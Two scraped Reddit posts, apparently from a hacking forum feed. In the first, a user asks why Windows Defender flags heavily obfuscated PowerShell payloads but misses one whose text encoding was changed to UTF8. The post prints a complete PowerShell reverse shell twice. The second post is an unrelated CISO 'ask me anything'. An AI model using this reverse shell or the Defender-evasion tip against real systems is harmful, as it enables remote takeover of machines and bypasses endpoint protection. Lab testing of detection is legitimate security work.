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hacking: security in practice
Discrepancies in detecting obfuscated payloads by Windows Defender?

I decided to learn something about obfuscating payloads so I read some articles and got onto our lab environment and started testing, for example with Invoke-Obfuscation. For the time being I stuck with obfuscating PowerShell payloads and testing them against Windows Defender.

First, I took the PS payloads from PayloadsAllTheThings and started obfuscating them with Invoke-Obfuscation. For example I followed a tutorial by Linode which uses AST obfuscation. This did not work for me as either the payload script threw errors or was still getting recognized by Windows Defender.

Sample payload, not obfuscated:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('
10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $
stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

After that I expanded my research and tried a payload from GitHub user samratashok and followed this Guide in which only the text encoding method is altered from ASCII to UTF8. And guess what? It actually worked, Windows Defender does not detect it!

Sample payload, not obfuscated:

$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

So how on earth can it possibly be that the first payloads can be obfuscated like crazy and are still detected by Defender but all that has to be done to the second payload in order to avoid detection is alter the text encoding format, especially since I can barely spot the difference between the payloads?

submitted by /u/0x4e696b
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hacking: security in practice
I became a Chief Information Security Officer without having a college degree. Ask me anything!

EDIT: Thanks for everyone who participated and/or reached out on LinkedIn, I appreciate the opportunity and hopefully you folks got something helpful out of it. Anyway, prolonged social interaction even through a screen makes me nervous as shit so I'm out of here for now. You can find me shitposting on LI if you want to catch up there. Stay Dangerous!

My name is Jonathan Rau and despite not having a college degree or certifications I became a CISO with only 5 years of private sector cybersecurity experience largely spearheaded by open-source work and challenging industry norms. Ask me anything about getting into the (cloud security) industry, how to demonstrate your expertise, and on the other side of the equation: how to attract + retain entry-level talent and build world class teams with them.

My LI: https://www.linkedin.com/in/jonathan-r-2b2742112/

PROOF: https://i.redd.it/vhs1s54jraq91.jpg

submitted by /u/lightspin_ciso
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